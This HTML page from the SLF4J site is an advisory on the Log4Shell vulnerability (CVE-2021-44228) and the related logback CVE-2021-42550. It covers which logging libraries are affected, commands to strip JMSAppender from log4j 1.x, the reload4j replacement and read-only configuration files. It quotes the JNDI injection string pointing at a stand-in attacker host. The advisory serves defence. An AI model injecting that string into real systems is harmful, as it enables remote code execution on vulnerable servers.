<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
    <title>SLF4J</title>
    <link rel="stylesheet" type="text/css" media="screen" href="css/site.css" />
  </head>
  <body onload="prettyPrint(); decorate();">
    <script type="text/javascript">prefix='';</script>
    <script type="text/javascript" src="js/prettify.js"></script>
    <script type="text/javascript" src="js/jquery-min.js"></script>
    <script type="text/javascript" src="js/decorator.js"></script>

    <div id="container">

       <script src="templates/header.js" type="text/javascript"></script>

   
      <div id="left">
        <noscript>Please turn on Javascript to view this menu</noscript>
        <script src="templates/left.js" type="text/javascript"></script>
      </div>
      <div id="right">
        <script src="templates/right.js" type="text/javascript"></script>
      </div>
      
      <div id="content">

      <!-- h1 takes too much space -->  
      <h2>Comments on the log4shell(CVE-2021-44228) vulnerability</h2>

      <h3>Preamble</h3>
      
      <p>Please note that the contents of this page are the result of
      our understanding of the situation and are provided AS IS
      without warranty of any kind.</p>
      
      
      <h3>What is CVE-2021-44228?</h3>
      
      <p><a href="https://cve.report/CVE-2021-44228">CVE-2021-44228</a>
      is a vulnerability classified under the highest severity mark,
      i.e. 10 out of 10. It allows an attacker to execute arbitrary
      code by injecting attacker-controlled data into a logged
      message. As far as vulnerabilities are concerned, CVE-2021-44228
      is probably as bad as it gets.
      </p>

      <p>Superlatives aside, it is important to understand the <a
      href="https://www.lunasec.io/docs/blog/log4j-zero-day/">mechanics
      of the vulnerability</a>. The exploit becomes effective when the
      attacker can inject a string containing a substring in the form
      "&dollar;&lbrace;jndi:ldap://some.attacker-controlled.site/&rbrace;".
      Opportunities for injecting such strings appear to be endless.
      </p>

      <p>Log4j version 2.15 and earlier are open for this attack
      because it performs a lookup, aka string substitution, using the
      JNDI protocol, whenever the "&dollar;&lbrace;jndi:...&rbrace;"
      string is found within a message parameter. As mentioned above,
      the contents of the message parameter can be injected quite
      easily by the attacker.</p>

      <h3>Is log4j 1.x vulnerable?</h3>

      <p class="highlight">As log4j 1.x does <span class="big
      green">NOT</span> offer a JNDI look-up mechanism at the message
      level, it does <span class="big green">NOT</span> suffer from
      CVE-2021-44228. </p>

      <p>Given that log4j version 1.x is still very widely deployed,
      perhaps 10 times more widely than log4j 2.x, we have been receiving a
      steady stream of questions regarding the vulnerability of log4j
      version 1.x.
      </p>

      <p><b>As log4j 1.x does <span class="big green">NOT</span> offer
      a JNDI look up mechanism at the message level, it does <span
      class="big green">NOT</span> suffer from CVE-2021-44228.</b></p>

      <p>However, log4j 1.x comes with <code>JMSAppender</code> which
      will perform a JNDI lookup if enabled in log4j's configuration
      file, i.e. <em>log4j.properties</em> or <em>log4j.xml</em>.</p>

      <p>An attacker who ALREADY has write access the log4j
      configuration file will need to add <code>JMSAppender</code>
      into the configuration poisoned with malicious connection
      parameters. Note that prior legitimate usage of
      <code>JMSAppender</code> is irrelevant to the ability of the
      attacker to mount a successful attack. </p>

      <p>Also note that poisoning the configuration file is not
      enough. The attacker also needs to force log4j to reload its
      configuration file with the poisoned parameters. Given that
      log4j 1.x does not offer automatic reloading, the poisoned
      configuration file will typically only become effective at
      application restart.</p>

      <p>Nevertheless, while not easy, such an attack is not
      impossible. Thus it makes some sense to make job of the attacker
      even harder by removing <code>JMSAppender</code> altogether from
      <em>log4j-1.2.17.jar</em>.</p>

      <p>In the absence of a new log4j 1.x release, you can remove
      <code>JMSAppender</code> from the <em>log4j-1.2.17.jar</em>
      artifact yourself. Here is the  command:</p>

      <pre>   zip -d log4j-1.2.17.jar org/apache/log4j/net/JMSAppender.class</pre>

      <p>If you do not have access to 'zip', you can also use the
      'jar' command.</p>

      <pre>   #assuming log4j-1.2.17.jar exists in current directory
   mkdir tmp
   cd tmp
   jar xvf ../log4j-1.2.17.jar
   rm org/apache/log4j/net/JMSAppender.class
   jar cvf ../log4j-1.2.17-patched.jar .</pre>

      <p>It goes without saying that once <em>log4j-1.2.17.jar</em> is
      patched, you would need to deploy it.</p>

      <h4><span class="green">Reload4j 1.2.18 as a replacement for
      log4j 1.2.17</span></h4>
      
      <p>The <a href="https://reload4j.qos.ch">reload4j</a> project is
      a fork of Apache log4j version 1.2.17 with the goal of fixing
      the pressing issues mentioned above. It is intended as a drop-in
      replacement for log4j version 1.2.17. By drop-in, we mean the
      replacement of <em>log4j.jar</em> with <em>reload4j.jar</em> in
      your build with no source code changes in .java files being
      necessary.
      </p>
      
      <p>With version 1.2.18.0, the reload4j project offers a clear
      and easy migration path for the thousands of users who have an
      urgent need to fix vulnerabilities in log4j 1.2.17.</p>
      
      <h3>How about the SLF4J API?</h3>
     
      <p>The SLF4J API is just an API which lets message data go
      through. As such, using log4j 2.x, even via SLF4J does not
      mitigate the vulnerability.
      </p>

      <p>However, as mentioned already, log4j 1.x is safe with respect
      to CVE-2021-44228. Thus, if your SLF4J provider/binding is
      <em>slf4j-log4j12.jar</em>, you are safe regarding
      CVE-2021-44228.</p>

      <p>If you are using <em>log4j-over-slf4j.jar</em> in conjunction
      with the SLF4J API, you are safe unless the underlying
      implementation is log4j 2.x.</p>
      
      <h3>Does a similar vulnerability exist in logback?</h3>

      <p>Logback does <span class="big green">NOT</span> offer a
      lookup mechanism at the message level. Thus, it is deemed safe
      with respect to CVE-2021-44228.</p>

      <p>However, logback may make JNDI calls from within its
      configuration file. This was recently reported
      in <a href="https://cve.report/CVE-2021-42550">CVE-2021-42550</a>
      (aka <a href="https://jira.qos.ch/browse/LOGBACK-1591">LOGBACK-1591</a>)
      as a vulnerability of <span class="big green">lesser</span>
      severity. In response, we have released logback version
      1.2.9. Please upgrade.
      </p>

      <p>Note that the vulnerability affecting logback requires write
      access to logback's configuration file as a prerequisite. To
      escalate to a successful Remote Code Execution attack, ALL of the
      following conditions have to be met:
      </p>
      
    
      <ol>
        <li>attacker has write access to logback.xml</li>      
        <li>use of logback version older than 1.2.9</li>
        <li>loading of poisoned configuration data, which implies
        application restart or scan="true" set prior to attack</li>
      </ol>

      <p>As a belt-and-suspenders type of precaution, in addition to
      upgrading to logback version 1.2.9, we also recommend users to
      deploy their logback configuration files as read-only.</p>

      <p>More details about the contents latest logback releases can
      be found in the <a href="http://logback.qos.ch/news.html">logback
      news</a> page.
      
      <p><span class="green">If you have read thus far, you probably
      understand that log4Shell/CVE-2021-44228 and
      LOGBACK-1591/CVE-2021-42550 are of different severity
      levels.</span></p>

      <h3 class="doAnchor" name="concreteMeasures">Additional protective
      measure: write protect log4j{1,2}/logback configuration
      files</h3>

      <p>While there are obviously differences between JNDI/LDAP/RMI
      serialization attacks, from an abstract point of view, they are
      all related to serialization, the gift that keeps giving.</p>
      
      <p>At this point, we hope that you appreciate the distinction
      between serialization attacks where malicious input is injected
      via "log message data" versus a "configuration file". The point of
      injection matters a lot. The former attack point requires no
      privilege whereas the latter requires significant prior
      privilege. If you understand the difference, please read on.</p>
      
      <p>While log4j 1.x is old, it is still very extensible. So are
      logback and log4j 2.x. </p>

      <p></p>

      <p>Trying to harden <code>JMSAppender</code> in log4j 1.x or
      some other component in log4j 2.x or logback against
      serialization injections (via configuration files) will be a
      long and arduous task. Moreover, we think you should err on the
      side of caution by assuming that there will remain hidden
      vulnerabilities.</p>

      <p class="highlight">We recommend that you err on the side of
      caution by deploying configuration files with read-only
      permissions.</p>

      
      <p>Therefore, in addition to hardening KNOWN vulnerable
      components, we also recommend that configuration files be
      protected against write access. In Unix-speak they should have
      read-only permissions for all users, including the
      <code>owner</code>. If possible, they should also be monitored
      against changes and unauthorized manipulation.</p>
      
      
      <h3>Further reading</h3>
      
      <ol>
        <li><a href="https://bmuskalla.github.io/blog/2019-10-02-log4j2-ghost-logging-framework/">Log4j 2 - The Ghost in the logging framework from (2019)</a></li>
        <li><a
        href="https://www.lunasec.io/docs/blog/log4j-zero-day/">Log4Shell:
        RCE 0-day exploit found in log4j2, a popular Java logging
        package</a></li>

        <li><a
        href="https://github.com/lunasec-io/lunasec/blob/master/docs/blog/2021-12-09-log4j-zero-day.md">lunasec-io/lunasec</a></li>
        
        <li><a href="https://snyk.io/blog/when-is-a-cve-not-a-cve/">Security in context: When is a CVE not a CVE?</a></li>

        <li><a href="https://dev.to/yawaramin/the-human-toll-of-log4j-maintenance-35ap">The
        human toll of log4j maintenance</a></li>
      </ol>
    </div>
  </body>
</html>
